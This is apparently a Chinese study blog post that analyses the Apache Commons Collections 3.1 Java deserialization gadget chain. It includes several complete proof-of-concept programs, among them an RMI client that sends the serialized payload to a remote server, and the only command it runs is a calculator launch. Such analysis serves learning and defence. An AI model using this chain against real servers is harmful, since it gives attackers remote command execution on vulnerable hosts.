环境搭建
组件下载:
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
Idea 新建项目->选择jdk1.7—>选择File > project structure > Modules > dependencies > + JARS or directories ->加载下载的组件
漏洞复现
poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
漏洞分析
step1
漏洞点在/commons-collections-3.1-sources.jar!/org/apache/commons/collections/functors/InvokerTransformer.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26public class InvokerTransformer implements Transformer, Serializable {
//105行
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
通过实现/commons-collections-3.1-sources.jar!/org/apache/commons/collections/Transformer.java
Transformer
接口,InvokerTransformer
构造方法在实例化的时候传入参数函数方法名以及参数名,transform
方法使用java反射机制得以调用任意方法。Transformer
接口:1
2
3public interface Transformer {
public Object transform(Object input);
}
Java反射机制即参数传入一个对象,然后通过
getClass
、getMethod
等方法去获取其所属的类、所拥有的对象。
在Java中一切皆对象,调用系统命令的代码通常为:1
Runtime.getRuntime().exec("open -a Calculator");
可以通过构造这段代码实现命令执行:1
2
3
4
5
6
7
8public class EvalObject {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
但是我们知道反序列化后一般只需要执行readObject
函数即可,如果直接序列化invokerTransformer
对象,那么readObject
之后的对象还需要主动调用transform(Runtime.getRuntime())
函数才能得以命令执行,显然是不太现实的。
demo:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34import java.io.*;
import java.lang.Runtime;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test2 {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{ String.class}, new Object[] {"open -a Calculator"});
serialize(invokerTransformer);
// 反序列化完了还得调对象的transform方法
InvokerTransformer obj = (InvokerTransformer) unserialize();
obj.transform(Runtime.getRuntime());
}
public static void serialize(InvokerTransformer obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
}catch (Exception e){
e.printStackTrace();
}
}
public static Object unserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
return is.readObject();
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
step2: 反射链构造
这意味着Runtime.getRuntime()
的调用也需要我们通过反射来进行调用,而InvokerTransformer
的tansform
函数一次只能进行一次反射,这就需要我们构造一个反射链,最终调用exec
函数进行命令执行。
在 /commons-collections-3.1-sources.jar!/org/apache/commons/collections/functors/ChainedTransformer.java
中提供了我们构造一个函数对象调用链的一个方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14public class ChainedTransformer implements Transformer, Serializable {
// 109行
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
给ChainedTransformer
方法传递一个数组,在transform
方法里遍历调用其transform
方法,并将返回的结果作为下一次transform
函数的参数。
此时可以构造出这样一个poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54package test2;
import java.io.*;
import java.lang.Runtime;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class test2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
serialize(transformerChain);
// 通过进一步构造反射链,这里的transform传递一个空参数即可。
Transformer transformer = (Transformer) unserialize();
transformer.transform("");
}
public static void serialize(Transformer obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
}catch (Exception e){
e.printStackTrace();
}
}
public static Object unserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
return is.readObject();
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
在Transformer
数组的第一个元素中用到了ConstantTransformer
类:1
2
3
4
5
6
7
8
9
10
11public class ConstantTransformer implements Transformer, Serializable {
// 64行
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
通过初始化对象传入Runtime.class
类作为参数,然后在ChainedTransformer
类遍历数组调用其 ConstantTransformer
的transform
方法返回Runtime
类。
从transformer.transform("");
下断点跟进:
遍历数组,第一次进入ConstantTransformer
的transform
函数:
ConstantTransformer
的transform
返回在实例化时传入的Runtime
类:
第二次循环,将第一次返回的Runtime
类作为参数,带入第二次InvokerTransformer
类的transform
函数参数中:
这里通过java反射机制,从Runtime
类找到其getRuntime
方法,返回Runtime.getRuntime()
方法,作为下次循环的参数。
第三次循环再次通过InvokerTransformer
类的transform
方法,通过反射调用invoke
方法,真正的执行getRuntime
函数并返回Runtime
实例
在第四轮中我们可以看到object
参数变成了Runtime
对象,并且通过反射调用exec
函数来进行命令执行:
最后执行命令:
step3:寻找自动触发transform
在step2的poc中我们可以看到,反序列化之后其实还有一个对对象进行transform
函数的调用,虽然此时已经通过反射链解决了Runtime.getRuntime()
的参数传入问题,但是仍然需要我们调用transform
函数。1
2Transformer transformer = (Transformer) unserialize();
transformer.transform("");
这样的条件在实际环境中是难以利用的,我们希望的是仅调用readObject
函数就能够触发漏洞,即需要寻找一个有被重写的readObject
函数,而其中的流程能够触发transform
函数(可以直接搜索这两个关键字寻找)。
在/org/apache/commons/collections/map/TransformedMap.java
中:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23//65行
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
//87行
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//137行
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
//183行
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
通过TransformedMap
函数设置成员变量,通过调用put
函数,触发transformValue
函数的valueTransformer.transform(object)
调用。
poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("value", "value");
}
虽然找到了一个能自动调用transform
的过程,但是要实现反序列化命令执行,还需要有对map的操作。这里还有另外一处也有调用transform
方法的功能:1
2
3
4// 168行
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
在其父类/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java
中实现了一个静态类的定义:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16// 180行
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value); // 调用点
return entry.setValue(value);
}
}
这里用了java类的嵌套,和php语言特性有点区别:https://blog.csdn.net/hguisu/article/details/7270086
step3: 寻找重写readObject
在jdk小于等于1.7的时,/sun/reflect/annotation/AnnotationInvocationHandler.class
中的readObject
中有对map的修改功能。
这里便于分析,用jd-gui
将其jar包逆向:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/rt.jar
这里readObject
方法,使用了entry.setValue
方法。
在构造方法中,我们可以看到其将实例化传入的参数设为其成员变量this.memberValues
,接着在反序列化的时候,通过对readObject
的调用,触发MapEntry
的setValue
方法。
最后poc用了java反射去实例化创建对象,构造出一个完整的攻击链:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50package test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "2"); // 满足/org/apache/commons/collections/map/AbstractMapDecorator.java的null判断,但是不知道为什么键名一定要是value,调了很多次还是没解决,求解
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
// 加载类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 实例化
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); // 获取指定的构造方法
cons.setAccessible(true); //为反射对象设置可访问标志
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);
// 序列化
ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();
ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
}
}
流程:参考seebug的一张图
远程利用实现
先学习几个概念:
- RMI(Remote Method Invocation)是一种基于序列化Java远程方法调用机制,作为一个常见的反序列化入口,和反序列化漏洞有密切联系。利用这种机制可以让某台服务器上的对象在调用另外一台服务器上的方法时,和在本地机上对象间的方法调用的语法规则一样。
- JNDI(Java Naming and Directory Interface),Java 命名与目录接口,JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。
(还有很多概念,先挖坑)
RMI服务端实现
构造一个User接口:User.java1
2
3
4
5
6
7
8
9
10package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote{
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}
实现User接口:UserImpl.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User{
public UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
}
实现Server端:1
2
3
4
5
6
7
8
9
10
11
12
13
14package RMI;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class UserServer {
public static void main(String[] args) throws Exception{
String url = "rmi://192.168.43.112:4396/User";
User user = new UserImpl();
LocateRegistry.createRegistry(4396);
Naming.bind(url,user);
System.out.println("the rmi is running :" + url);
}
}
运行监听:
客户端UserClient:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class UserClient {
public static void main(String[] args) throws Exception{
String url = "rmi://192.168.43.112:4396/User";
User userClient = (User)Naming.lookup(url);
System.out.println(userClient.name("test"));
userClient.say("world");
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
最后
最后的transform
函数调用使用了jdk1.7
底层jar包,所以在不同的jdk版本利用链有所差异(挖坑),同时这个漏洞的关键在于/org/apache/commons/collections/functors/InvokerTransformer.java
可以通过反射调用任意函数,官方发布的新版本中增加了对相关反射调用的限制,同时对这些不安全的Java类的序列化支持增加了开关(也就是黑名单)。
java项目因为其可以加载很多依赖jar包,导致其反序列化可以寻找的攻击范围很广,从依赖扩展到jdk库,这也是java比php反序列化难的地方。
此外,简单学习了一些java语法后就开始分析漏洞,很多java语法特性以及概念不太熟悉,比如反射、嵌套类、JMX、JNDI等等,接下来打算好好弥补一下这方面的短板。
参考: